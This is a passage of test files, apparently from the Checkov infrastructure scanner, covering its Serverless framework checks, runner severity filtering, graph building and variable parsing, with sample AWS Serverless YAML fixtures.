supported_entities=['serverless_aws'])\n\n    def scan_package_conf(self, conf):\n        if conf.get(\"artifact\") == \"path/to/my-artifact.zip\":\n            return CheckResult.PASSED\n        else:\n            return CheckResult.FAILED\n\n\nclass ATestPluginCheck(BasePluginCheck):\n    def __init__(self):\n        id = \"CKV_TCT_5\"\n        super().__init__(name=\"test\", id=id, categories=CATS, supported_entities=['serverless_aws'])\n\n    def scan_plugin_list(self, plugin_list):\n        if plugin_list == [\"some-plugin\", \"some-other-plugin\"]:\n            return CheckResult.PASSED\n        else:\n            return CheckResult.FAILED\n\n\nclass ATestProviderCheck(BaseProviderCheck):\n    def __init__(self):\n        id = \"CKV_TCT_6\"\n        super().__init__(name=\"test\", id=id, categories=CATS, supported_entities=['serverless_aws'])\n\n    def scan_provider_conf(self, conf):\n        if conf.get(\"runtime\") == \"nodejs12.x\":\n            return CheckResult.PASSED\n        else:\n            return CheckResult.FAILED\n\n\nclass ATestServiceCheck(BaseServiceCheck):\n    def __init__(self):\n        id = \"CKV_TCT_7\"\n        super().__init__(name=\"test\", id=id, categories=CATS, supported_entities=['serverless_aws'])\n\n    def scan_service_conf(self, conf):\n        if isinstance(conf, dict) and conf.get(\"awsKmsKeyArn\") == \"arn:aws:kms:us-east-1:XXXXXX:key/some-hash\":\n            return CheckResult.PASSED\n        else:\n            return CheckResult.FAILED\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/serverless/checks/test_wildcard_entities.py",
    "content": "import os\nimport unittest\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.cloudformation.checks.resource.registry import cfn_registry as registry\nfrom checkov.serverless.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass ServerlessCheck(BaseResourceCheck):\n\n    def __init__(self):\n        name = \"Serverless test\"\n        id = \"CKV_T_1\"\n        supported_resources = ['AWS::S3*']\n        categories = [CheckCategories.APPLICATION_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        return CheckResult.PASSED\n\n\nclass TestWildcardEntities(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        check = ServerlessCheck()\n\n        test_files_dir = current_dir + \"/example_WildcardEntities\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        registry.wildcard_checks['AWS::S3*'].remove(check)\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 0)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/serverless/graph_builder/__init__.py",
    "content": ""
  },
  {
    "path": "tests/serverless/graph_builder/resources/serverless.yaml",
    "content": "service: acme-service\n\nframeworkVersion: \"^2.30.0\"\n\nplugins:\n  - serverless-vpc-discovery\n\ncustom:\n  resources: ${file(./serverless.${opt:stage}.yml)}\n  vpc:\n    vpcName: acme-vpc\n    subnetNames:\n      - private-subnet-a\n      - private-subnet-b\n    securityGroupNames:\n      - allow_out_to_vpc_endpoints\n      - lambda_sg\nprovider:\n  region: us-east-1\n  name: aws\n  runtime: python3.7\n  tracing:\n    lambda: true\n  deploymentBucket: ${self:custom.resources.deploymentBucket}\n  environment: ${self:custom.resources.environment}\n  iamManagedPolicies:\n    - arn:aws:iam::aws:policy/ReadOnlyAccess\n  iamRoleStatements: ${self:custom.resources.iamRoleStatements}\n  ecr:\n    images:\n      base:\n        path: ../../\n        file: ./path/to/Dockerfile\n\nfunctions:\n  acmeFunc:\n    image: base\n    timeout: 120\n    memorySize: 3000\n    environment:\n      EFS_MOUNT_PATH: ${self:custom.localMountPath}\n    fileSystemConfig:\n      localMountPath: ${self:custom.localMountPath}\n      arn: 'arn:aws:elasticfilesystem:${self:provider.region}:#{AWS::AccountId}:access-point/${self:custom.resources.efsAccessPoint}'\n    events:\n      - sqs:\n          arn: arn:aws:sqs:#{AWS::Region}:#{AWS::AccountId}:job_queue\n          batchSize: 10\n          maximumBatchingWindow: 0\n  acmeFunc2:\n    image: base\n    environment:\n      EFS_MOUNT_PATH: ${self:custom.localMountPath}\n      CLEAN_UP_BEFORE_PROCESS: 'true'\n    timeout: 900\n    memorySize: 9000\n    fileSystemConfig:\n      localMountPath: ${self:custom.localMountPath}\n      arn: 'arn:aws:elasticfilesystem:${self:provider.region}:#{AWS::AccountId}:access-point/${self:custom.resources.efsAccessPoint}'\n\nresources:\n  Resources: ${file(./serverless.${opt:stage}.yml)}  # just shouldn't raise an exception\n"
  },
  {
    "path": "tests/serverless/graph_builder/resources/serverless.yml",
    "content": "service:\n  name: myService\n  awsKmsKeyArn: arn:aws:kms:us-east-1:XXXXXX:key/some-hash\n\nprovider:\n  name: aws\n  runtime: nodejs12.x\n  environment:\n    SOME_PROVIDER_VAR: spv_value\n  stackTags:\n    MY_TAG: tag_value\n\nplugins:\n  - some-plugin\n  - some-other-plugin\n\npackage:\n  artifact: path/to/my-artifact.zip\n\ncustom:\n  my_custom_var: ${self:custom.another_custom_var}\n  another_custom_var: sourced-in-value\n\nlayers:\n  hello:\n    path: \"yup/that/is/my/path\"\n    name: \"a-layer\"\n\nfunctions:\n  myFunction:\n    handler: myfunction.invoke\n\nresources:\n  Resources:\n    ApiGatewayRestApi:\n      Properties:\n        BinaryMediaTypes:\n          - \"*/*\""
  },
  {
    "path": "tests/serverless/graph_builder/test_local_graph.py",
    "content": "from pathlib import Path\n\nfrom checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector\nfrom checkov.common.util.consts import LINE_FIELD_NAMES\nfrom checkov.serverless.graph_builder.graph_to_definitions import convert_graph_vertices_to_definitions\nfrom checkov.serverless.graph_manager import ServerlessGraphManager\nfrom checkov.serverless.utils import get_files_definitions, ServerlessElements\n\nRESOURCES_DIR = Path(__file__).parent / 'resources'\n\ndef test_graph_from_file_def_and_graph_def():\n    # compare graph created from definition created by file and graph created by definition created from graph\n    # given\n    test_file = RESOURCES_DIR / \"serverless.yaml\"\n    definitions_from_file, _ = get_files_definitions([str(test_file)])\n    graph_manager = ServerlessGraphManager(db_connector=RustworkxConnector())\n\n    local_graph = graph_manager.build_graph_from_definitions(definitions=definitions_from_file, render_variables=False)\n\n    definition_from_graph, _ = convert_graph_vertices_to_definitions(\n        vertices=local_graph.vertices,\n        root_folder=test_file,\n    )\n    local_graph_from_new_def = graph_manager.build_graph_from_definitions(definitions=definition_from_graph,\n                                                                          render_variables=False)\n\n    # then\n    assert len(local_graph.vertices) == len(local_graph_from_new_def.vertices)\n    assert len(local_graph.edges) == len(local_graph_from_new_def.edges)\n\n    assert len(local_graph.vertices) == len(local_graph_from_new_def.vertices)\n    assert len(local_graph.edges) == len(local_graph_from_new_def.edges)\n    assert len(local_graph.vertices_by_block_type[ServerlessElements.PARAMS]) == len(\n        local_graph_from_new_def.vertices_by_block_type[ServerlessElements.PARAMS])\n    assert len(local_graph.vertices_by_block_type[ServerlessElements.FUNCTIONS]) == len(\n        local_graph_from_new_def.vertices_by_block_type[ServerlessElements.FUNCTIONS])\n    assert len(local_graph.vertices_by_block_type[ServerlessElements.PROVIDER]) == len(\n        local_graph_from_new_def.vertices_by_block_type[ServerlessElements.PROVIDER])\n    assert len(local_graph.vertices_by_block_type[ServerlessElements.LAYERS]) == len(\n        local_graph_from_new_def.vertices_by_block_type[ServerlessElements.LAYERS])\n    assert len(local_graph.vertices_by_block_type[ServerlessElements.CUSTOM]) == len(\n        local_graph_from_new_def.vertices_by_block_type[ServerlessElements.CUSTOM])\n    assert len(local_graph.vertices_by_block_type[ServerlessElements.PACKAGE]) == len(\n        local_graph_from_new_def.vertices_by_block_type[ServerlessElements.PACKAGE])\n    assert len(local_graph.vertices_by_block_type[ServerlessElements.PLUGINS]) == len(\n        local_graph_from_new_def.vertices_by_block_type[ServerlessElements.PLUGINS])\n    assert len(local_graph.vertices_by_block_type[ServerlessElements.SERVICE]) == len(\n        local_graph_from_new_def.vertices_by_block_type[ServerlessElements.SERVICE])\n\n    for vertex in local_graph.vertices:\n        vertex_file = vertex.path\n        vertex_name = vertex.name\n\n        matching_vertex_index = local_graph_from_new_def.vertices_by_path_and_name[(vertex_file, vertex_name)]\n        matching_vertex = local_graph_from_new_def.vertices[matching_vertex_index]\n        for attribute, value in matching_vertex.config.items():\n            assert isinstance(vertex.config[attribute], type(value))\n            assert value == vertex.config[attribute]\n"
  },
  {
    "path": "tests/serverless/runner/__init__.py",
    "content": ""
  },
  {
    "path": "tests/serverless/runner/example_with_resources_from_file/Resources.yaml",
    "content": "Resources:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  UsernameOutsideOfLineRangeOfOriginalFile:\n      Type: AWS::SSM::Parameter\n      Properties:\n        Description: \"User\"\n        Name: /username\n        Type: String\n        Value: \"user\"\n"
  },
  {
    "path": "tests/serverless/runner/example_with_resources_from_file/serverless.yaml",
    "content": "service: ig-digital-djumbo-shared-params\n\nprovider:\n  name: aws\n  region: us-west-2\n\nresources:\n  - ${file(./Resources.yaml)}"
  },
  {
    "path": "tests/serverless/runner/resources/serverless.yaml",
    "content": "service: acme-service\n\nframeworkVersion: \"^2.30.0\"\n\nplugins:\n  - serverless-vpc-discovery\n\ncustom:\n  resources: ${file(./serverless.${opt:stage}.yml)}\n  vpc:\n    vpcName: acme-vpc\n    subnetNames:\n      - private-subnet-a\n      - private-subnet-b\n    securityGroupNames:\n      - allow_out_to_vpc_endpoints\n      - lambda_sg\nprovider:\n  region: us-east-1\n  name: aws\n  runtime: python3.7\n  tracing:\n    lambda: true\n  deploymentBucket: ${self:custom.resources.deploymentBucket}\n  environment: ${self:custom.resources.environment}\n  iamManagedPolicies:\n    - arn:aws:iam::aws:policy/ReadOnlyAccess\n  iamRoleStatements: ${self:custom.resources.iamRoleStatements}\n  ecr:\n    images:\n      base:\n        path: ../../\n        file: ./path/to/Dockerfile\n\nfunctions:\n  acmeFunc:\n    image: base\n    timeout: 120\n    memorySize: 3000\n    environment:\n      EFS_MOUNT_PATH: ${self:custom.localMountPath}\n    fileSystemConfig:\n      localMountPath: ${self:custom.localMountPath}\n      arn: 'arn:aws:elasticfilesystem:${self:provider.region}:#{AWS::AccountId}:access-point/${self:custom.resources.efsAccessPoint}'\n    events:\n      - sqs:\n          arn: arn:aws:sqs:#{AWS::Region}:#{AWS::AccountId}:job_queue\n          batchSize: 10\n          maximumBatchingWindow: 0\n  acmeFunc2:\n    image: base\n    environment:\n      EFS_MOUNT_PATH: ${self:custom.localMountPath}\n      CLEAN_UP_BEFORE_PROCESS: 'true'\n    timeout: 900\n    memorySize: 9000\n    fileSystemConfig:\n      localMountPath: ${self:custom.localMountPath}\n      arn: 'arn:aws:elasticfilesystem:${self:provider.region}:#{AWS::AccountId}:access-point/${self:custom.resources.efsAccessPoint}'\n\nresources:\n  Resources: ${file(./serverless.${opt:stage}.yml)}  # just shouldn't raise an exception\n"
  },
  {
    "path": "tests/serverless/runner/resources/serverless.yml",
    "content": "service:\n  name: myService\n  awsKmsKeyArn: arn:aws:kms:us-east-1:XXXXXX:key/some-hash\n\nprovider:\n  name: aws\n  runtime: nodejs12.x\n  environment:\n    SOME_PROVIDER_VAR: spv_value\n  stackTags:\n    MY_TAG: tag_value\n\nplugins:\n  - some-plugin\n  - some-other-plugin\n\npackage:\n  artifact: path/to/my-artifact.zip\n\ncustom:\n  my_custom_var: ${self:custom.another_custom_var}\n  another_custom_var: sourced-in-value\n\nlayers:\n  hello:\n    path: \"yup/that/is/my/path\"\n    name: \"a-layer\"\n\nfunctions:\n  myFunction:\n    handler: myfunction.invoke\n\nresources:\n  Resources:\n    ApiGatewayRestApi:\n      Properties:\n        BinaryMediaTypes:\n          - \"*/*\""
  },
  {
    "path": "tests/serverless/runner/test_runner.py",
    "content": "import dis\nimport inspect\nimport os\nimport unittest\nfrom collections import defaultdict\nfrom pathlib import Path\nfrom typing import Dict, Any\n\nfrom checkov.cloudformation.checks.resource.aws import *  # noqa - prevent circular import\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.severities import Severities, BcSeverities\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.serverless.checks.function.base_function_check import BaseFunctionCheck\nfrom checkov.serverless.runner import Runner\nfrom checkov.serverless.checks.function.registry import function_registry\nfrom checkov.serverless.checks.provider.registry import provider_registry\nfrom checkov.serverless.checks.complete.registry import complete_registry\nfrom checkov.serverless.checks.custom.registry import custom_registry\nfrom checkov.serverless.checks.layer.registry import layer_registry\nfrom checkov.serverless.checks.package.registry import package_registry\nfrom checkov.serverless.checks.plugin.registry import plugin_registry\nfrom checkov.serverless.checks.service.registry import service_registry\n\n\nclass TestRunnerValid(unittest.TestCase):\n\n    def setUp(self) -> None:\n        self.orig_checks = function_registry.checks\n\n    def test_registry_has_type(self):\n        self.assertEqual(function_registry.report_type, CheckType.SERVERLESS)\n        self.assertEqual(provider_registry.report_type, CheckType.SERVERLESS)\n        self.assertEqual(complete_registry.report_type, CheckType.SERVERLESS)\n        self.assertEqual(custom_registry.report_type, CheckType.SERVERLESS)\n        self.assertEqual(layer_registry.report_type, CheckType.SERVERLESS)\n        self.assertEqual(package_registry.report_type, CheckType.SERVERLESS)\n        self.assertEqual(plugin_registry.report_type, CheckType.SERVERLESS)\n        self.assertEqual(service_registry.report_type, CheckType.SERVERLESS)\n\n    def test_runner_honors_enforcement_rules(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_dir_path = os.path.join(current_dir, \"resources\")\n\n        runner = Runner()\n        filter = RunnerFilter(framework=['serverless'], use_enforcement_rules=True)\n        # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry\n        # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method\n        filter.enforcement_rule_configs = {CheckType.SERVERLESS: Severities[BcSeverities.OFF]}\n        report = runner.run(root_folder=scan_dir_path, external_checks_dir=None,\n                            runner_filter=filter)\n\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(len(report.passed_checks), 0)\n        self.assertEqual(len(report.skipped_checks), 0)\n        self.assertEqual(len(report.parsing_errors), 0)\n\n    def test_record_relative_path_with_relative_dir(self):\n\n        # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start).\n\n        # this is just constructing the scan dir as normal\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_dir_path = os.path.join(current_dir, \"resources\")\n\n        # this is the relative path to the directory to scan (what would actually get passed to the -d arg)\n        dir_rel_path = os.path.relpath(scan_dir_path).replace('\\\\', '/')\n\n        runner = Runner()\n        checks_allowlist = ['CKV_AWS_49']\n        report = runner.run(root_folder=dir_rel_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework='serverless', checks=checks_allowlist))\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertGreater(len(all_checks), 0)  # ensure that the assertions below are going to do something\n        for record in all_checks:\n            # no need to join with a '/' because the CFN runner adds it to the start of the file path\n            self.assertEqual(record.repo_file_path, f'/{dir_rel_path}{record.file_path}')\n\n    def test_record_relative_path_with_abs_dir(self):\n\n        # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start).\n\n        # this is just constructing the scan dir as normal\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_dir_path = os.path.join(current_dir, \"resources\")\n\n        dir_rel_path = os.path.relpath(scan_dir_path).replace('\\\\', '/')\n\n        dir_abs_path = os.path.abspath(scan_dir_path)\n\n        runner = Runner()\n        checks_allowlist = ['CKV_AWS_49']\n        report = runner.run(root_folder=dir_abs_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework='serverless', checks=checks_allowlist))\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertGreater(len(all_checks), 0)  # ensure that the assertions below are going to do something\n        for record in all_checks:\n            # no need to join with a '/' because the CFN runner adds it to the start of the file path\n            self.assertEqual(record.repo_file_path, f'/{dir_rel_path}{record.file_path}')\n\n    def test_record_relative_path_with_relative_file(self):\n\n        # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start).\n\n        # this is just constructing the scan dir as normal\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_file_path = os.path.join(current_dir, \"resources\", \"serverless.yml\")\n\n        # this is the relative path to the file to scan (what would actually get passed to the -f arg)\n        file_rel_path = os.path.relpath(scan_file_path)\n\n        runner = Runner()\n        checks_allowlist = ['CKV_AWS_49']\n        report = runner.run(root_folder=None, external_checks_dir=None, files=[file_rel_path],\n                            runner_filter=RunnerFilter(framework='serverless', checks=checks_allowlist))\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertGreater(len(all_checks), 0)  # ensure that the assertions below are going to do something\n        for record in all_checks:\n            # no need to join with a '/' because the CFN runner adds it to the start of the file path\n            self.assertEqual(record.repo_file_path, f'/{file_rel_path}')\n\n    def test_record_relative_path_with_abs_file(self):\n\n        # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start).\n\n        # this is just constructing the scan dir as normal\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_file_path = os.path.join(current_dir, \"resources\", \"serverless.yml\")\n\n        file_rel_path = os.path.relpath(scan_file_path)\n        file_abs_path = os.path.abspath(scan_file_path)\n\n        runner = Runner()\n        checks_allowlist = ['CKV_AWS_49']\n        report = runner.run(root_folder=None, external_checks_dir=None, files=[file_abs_path],\n                            runner_filter=RunnerFilter(framework='serverless', checks=checks_allowlist))\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertGreater(len(all_checks), 0)  # ensure that the assertions below are going to do something\n        for record in all_checks:\n            # no need to join with a '/' because the CFN runner adds it to the start of the file path\n            self.assertEqual(record.repo_file_path, f'/{file_rel_path}')\n\n    def test_wrong_check_imports(self):\n        wrong_imports = [\"arm\", \"cloudformation\", \"dockerfile\", \"helm\", \"kubernetes\", \"terraform\"]\n        check_imports = []\n\n        checks_path = Path(inspect.getfile(Runner)).parent.joinpath(\"checks\")\n        for file in checks_path.rglob(\"*.py\"):\n            with file.open() as f:\n                instructions = dis.get_instructions(f.read())\n                import_names = [instr.argval for instr in instructions if \"IMPORT_NAME\" == instr.opname]\n\n                for import_name in import_names:\n                    wrong_import = next((import_name for x in wrong_imports if x in import_name), None)\n                    if wrong_import:\n                        check_imports.append({file.name: wrong_import})\n\n        assert len(check_imports) == 0, f\"Wrong imports were added: {check_imports}\"\n\n    def test_provider_function_att_type_mismatch(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_file_path = os.path.join(current_dir, \"resources\", \"serverless.yaml\")\n        file_abs_path = os.path.abspath(scan_file_path)\n\n        report = runner.run(files=[file_abs_path], runner_filter=RunnerFilter(framework='serverless'), root_folder=\"\")\n        self.assertEqual(0, len(report.parsing_errors))\n        self.assertLess(0, len(report.passed_checks + report.failed_checks))\n\n    def test_record_includes_severity(self):\n        custom_check_id = \"MY_CUSTOM_CHECK\"\n\n        function_registry.checks = defaultdict(list)\n\n        class AnyFailingCheck(BaseFunctionCheck):\n            def __init__(self, *_, **__) -> None:\n                super().__init__(\n                    \"this should fail\",\n                    custom_check_id,\n                    [CheckCategories.ENCRYPTION],\n                    [\"serverless_aws\"]\n                )\n\n            def scan_function_conf(self, conf: Dict[str, Any]) -> CheckResult:\n                return CheckResult.FAILED\n\n        check = AnyFailingCheck()\n        check.severity = Severities[BcSeverities.LOW]\n\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_file_path = os.path.join(current_dir, \"resources\", \"serverless.yaml\")\n        file_abs_path = os.path.abspath(scan_file_path)\n\n        report = Runner().run(files=[file_abs_path],\n                              runner_filter=RunnerFilter(framework=['serverless'], checks=[custom_check_id]),\n                              root_folder=\"\")\n\n        self.assertEqual(report.failed_checks[0].severity, Severities[BcSeverities.LOW])\n\n    def test_record_check_severity_omit(self):\n        custom_check_id = \"MY_CUSTOM_CHECK\"\n\n        function_registry.checks = defaultdict(list)\n\n        class AnyFailingCheck(BaseFunctionCheck):\n            def __init__(self, *_, **__) -> None:\n                super().__init__(\n                    \"this should fail\",\n                    custom_check_id,\n                    [CheckCategories.ENCRYPTION],\n                    [\"serverless_aws\"]\n                )\n\n            def scan_function_conf(self, conf: Dict[str, Any]) -> CheckResult:\n                return CheckResult.FAILED\n\n        check = AnyFailingCheck()\n        check.severity = Severities[BcSeverities.LOW]\n\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_file_path = os.path.join(current_dir, \"resources\", \"serverless.yaml\")\n        file_abs_path = os.path.abspath(scan_file_path)\n\n        report = Runner().run(files=[file_abs_path],\n                              runner_filter=RunnerFilter(framework=['serverless'], checks=['MEDIUM']), root_folder=\"\")\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertFalse(any(c.check_id == custom_check_id for c in all_checks))\n\n    def test_record_check_severity(self):\n        custom_check_id = \"MY_CUSTOM_CHECK\"\n\n        function_registry.checks = defaultdict(list)\n\n        class AnyFailingCheck(BaseFunctionCheck):\n            def __init__(self, *_, **__) -> None:\n                super().__init__(\n                    \"this should fail\",\n                    custom_check_id,\n                    [CheckCategories.ENCRYPTION],\n                    [\"serverless_aws\"]\n                )\n\n            def scan_function_conf(self, conf: Dict[str, Any]) -> CheckResult:\n                return CheckResult.FAILED\n\n        check = AnyFailingCheck()\n        check.severity = Severities[BcSeverities.HIGH]\n\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_file_path = os.path.join(current_dir, \"resources\", \"serverless.yaml\")\n        file_abs_path = os.path.abspath(scan_file_path)\n\n        report = Runner().run(files=[file_abs_path],\n                              runner_filter=RunnerFilter(framework=['serverless'], checks=['MEDIUM']), root_folder=\"\")\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertTrue(any(c.check_id == custom_check_id for c in all_checks))\n\n    def test_record_check_skip_severity_omit(self):\n        custom_check_id = \"MY_CUSTOM_CHECK\"\n\n        function_registry.checks = defaultdict(list)\n\n        class AnyFailingCheck(BaseFunctionCheck):\n            def __init__(self, *_, **__) -> None:\n                super().__init__(\n                    \"this should fail\",\n                    custom_check_id,\n                    [CheckCategories.ENCRYPTION],\n                    [\"serverless_aws\"]\n                )\n\n            def scan_function_conf(self, conf: Dict[str, Any], entity_type: str) -> CheckResult:\n                return CheckResult.FAILED\n\n        check = AnyFailingCheck()\n        check.severity = Severities[BcSeverities.LOW]\n\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_file_path = os.path.join(current_dir, \"resources\", \"serverless.yaml\")\n        file_abs_path = os.path.abspath(scan_file_path)\n\n        report = Runner().run(files=[file_abs_path],\n                              runner_filter=RunnerFilter(framework=['serverless'], skip_checks=['MEDIUM']),\n                              root_folder=\"\")\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertFalse(any(c.check_id == custom_check_id for c in all_checks))\n\n    def test_record_check_skip_severity(self):\n        custom_check_id = \"MY_CUSTOM_CHECK\"\n\n        function_registry.checks = defaultdict(list)\n\n        class AnyFailingCheck(BaseFunctionCheck):\n            def __init__(self, *_, **__) -> None:\n                super().__init__(\n                    \"this should fail\",\n                    custom_check_id,\n                    [CheckCategories.ENCRYPTION],\n                    [\"serverless_aws\"]\n                )\n\n            def scan_function_conf(self, conf: Dict[str, Any]) -> CheckResult:\n                return CheckResult.FAILED\n\n        check = AnyFailingCheck()\n        check.severity = Severities[BcSeverities.HIGH]\n\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_file_path = os.path.join(current_dir, \"resources\", \"serverless.yaml\")\n        file_abs_path = os.path.abspath(scan_file_path)\n\n        report = Runner().run(files=[file_abs_path],\n                              runner_filter=RunnerFilter(framework=['serverless'], skip_checks=['MEDIUM']),\n                              root_folder=\"\")\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertTrue(any(c.check_id == custom_check_id for c in all_checks))\n\n    def test_report_generation_when_using_resources_from_file(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_file_dir = os.path.join(current_dir, \"example_with_resources_from_file\")\n\n        report = Runner().run(root_folder=scan_file_dir, runner_filter=RunnerFilter(framework=['serverless'],\n                                                                                    checks=[\"CKV_AWS_384\"]))\n\n        passed_check_on_username_resource = report.passed_checks[0]\n        assert passed_check_on_username_resource.code_block == [(24, '  UsernameOutsideOfLineRangeOfOriginalFile:\\n'),\n                                                                (25, '      Type: AWS::SSM::Parameter\\n'),\n                                                                (26, '      Properties:\\n'),\n                                                                (27, '        Description: \"User\"\\n'),\n                                                                (28, '        Name: /username\\n'),\n                                                                (29, '        Type: String\\n'),\n                                                                (30, '        Value: \"user\"\\n')]\n\n\n    def tearDown(self):\n        function_registry.checks = self.orig_checks\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/serverless/test_parser.py",
    "content": "import os\nimport unittest\n\nfrom checkov.serverless.parsers.parser \\\n    import process_variables, _tokenize_by_commas, _token_to_type_and_loc, _parse_var\n\n\nIRRELEVANT_DIR = os.curdir\n\nclass TestParser(unittest.TestCase):\n\n    #########################################\n    # \"Self\" variable processing\n\n    def test_self_simple(self):\n        case = {\n            \"source\": \"var-data\",\n            \"consumer\": \"${self:source}\"\n        }\n        expected = {\n            \"source\": \"var-data\",\n            \"consumer\": \"var-data\"\n        }\n        self.assertEqual(expected, process_variables(case, IRRELEVANT_DIR))\n\n    def test_self_with_default(self):\n        case = {\n            \"consumer\": \"${self:source-of-var-data,aDefaultValue}\"\n        }\n        expected = {\n            \"consumer\": \"aDefaultValue\"\n        }\n        self.assertEqual(expected, process_variables(case, IRRELEVANT_DIR))\n\n    def test_self_nexted(self):\n        case = {\n            \"source\": {\n                \"nested1\": \"value one\",\n                \"more_nesting\": {\n                    \"nested2\": \"value two\"\n                }\n            },\n            \"consumer\": \"${self:source.nested1} - ${self:source.more_nesting.nested2} - ${self:bogus,aDefault}\"\n        }\n        expected = {\n            \"source\": {\n                \"nested1\": \"value one\",\n                \"more_nesting\": {\n                    \"nested2\": \"value two\"\n                }\n            },\n            \"consumer\": \"value one - value two - aDefault\"\n        }\n        self.assertEqual(expected, process_variables(case, IRRELEVANT_DIR))\n\n    def test_self_invalid(self):\n        case = {\n            \"consumer\": \"${self:bogus-no-default}\"\n        }\n        expected = {\n            \"consumer\": \"${self:bogus-no-default}\"\n        }\n        self.assertEqual(expected, process_variables(case, IRRELEVANT_DIR))\n\n    def test_self_list(self):\n        case = {\n            \"source\": \"var-data\",\n            \"consumer-list\": [\n                {\n                    \"consumer\": \"${self:source}\"\n                }\n            ]\n        }\n        expected = {\n            \"source\": \"var-data\",\n            \"consumer-list\": [\n                {\n                    \"consumer\": \"var-data\"\n                }\n            ]\n        }\n        self.assertEqual(expected, process_variables(case, IRRELEVANT_DIR))\n\n    def test_self_real_world_data(self):\n        case = {\n            'service': 'my-sls-service',\n            'custom': {\n                'my_sneaky_custom_var': '*',\n                '__startline__': 4,\n                '__endline__': 6\n            },\n            'provider': {\n                'name': 'aws',\n                'runtime': 'python3.7',\n                'stackName': 'lambda-',\n                'tag': '${opt:tag}',\n                'iamRoleStatements': [\n                    {\n                        'Effect': 'Allow',\n                        'Action': '${self:custom.my_sneaky_custom_var}',\n                        'Resource': '${self:custom.my_sneaky_custom_var}',\n                        '__startline__': 13,\n                        '__endline__': 17\n                    }\n                ],\n                '__startline__': 7,\n                '__endline__': 17\n            },\n            'functions': {\n                'myFunc': {\n                    'name': 'myFunc-provider-level-with-var',\n                    'tags': {\n                        'RESOURCE': 'lambda',\n                        'PUBLIC': False,\n                        '__startline__': 21,\n                        '__endline__': 23\n                    },\n                    'iamRoleStatements': [\n                        {\n                            'Effect': 'Allow',\n                            'Action': ['lambda:InvokeFunction'],\n                            'Resource': [\n                                'arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda'],\n                            '__startline__': 24,\n                            '__endline__': 29\n                        }\n                    ],\n                    'handler': 'Handler.handle',\n                    'timeout': 600,\n                    'memorySize': 320,\n                    '__startline__': 19,\n                    '__endline__': 31\n                },\n                '__startline__': 18,\n                '__endline__': 31\n            },\n            '__startline__': 1,\n            '__endline__': 31\n        }\n        expected = {\n            'service': 'my-sls-service',\n            'custom': {\n                'my_sneaky_custom_var': '*',\n                '__startline__': 4,\n                '__endline__': 6\n            },\n            'provider': {\n                'name': 'aws',\n                'runtime': 'python3.7',\n                'stackName': 'lambda-',\n                'tag': '${opt:tag}',\n                'iamRoleStatements': [\n                    {\n                        'Effect': 'Allow',\n                        'Action': '*',\n                        'Resource': '*',\n                        '__startline__': 13,\n                        '__endline__': 17\n                    }\n                ],\n                '__startline__': 7,\n                '__endline__': 17\n            },\n            'functions': {\n                'myFunc': {\n                    'name': 'myFunc-provider-level-with-var',\n                    'tags': {\n                        'RESOURCE': 'lambda',\n                        'PUBLIC': False,\n                        '__startline__': 21,\n                        '__endline__': 23\n                    },\n                    'iamRoleStatements': [\n                        {\n                            'Effect': 'Allow',\n                            'Action': ['lambda:InvokeFunction'],\n                            'Resource': [\n                                'arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda'],\n                            '__startline__': 24,\n                            '__endline__': 29\n                        }\n                    ],\n                    'handler': 'Handler.handle',\n                    'timeout': 600,\n                    'memorySize': 320,\n                    '__startline__': 19,\n                    '__endline__': 31\n                },\n                '__startline__': 18,\n                '__endline__': 31\n            },\n            '__startline__': 1,\n            '__endline__': 31\n        }\n        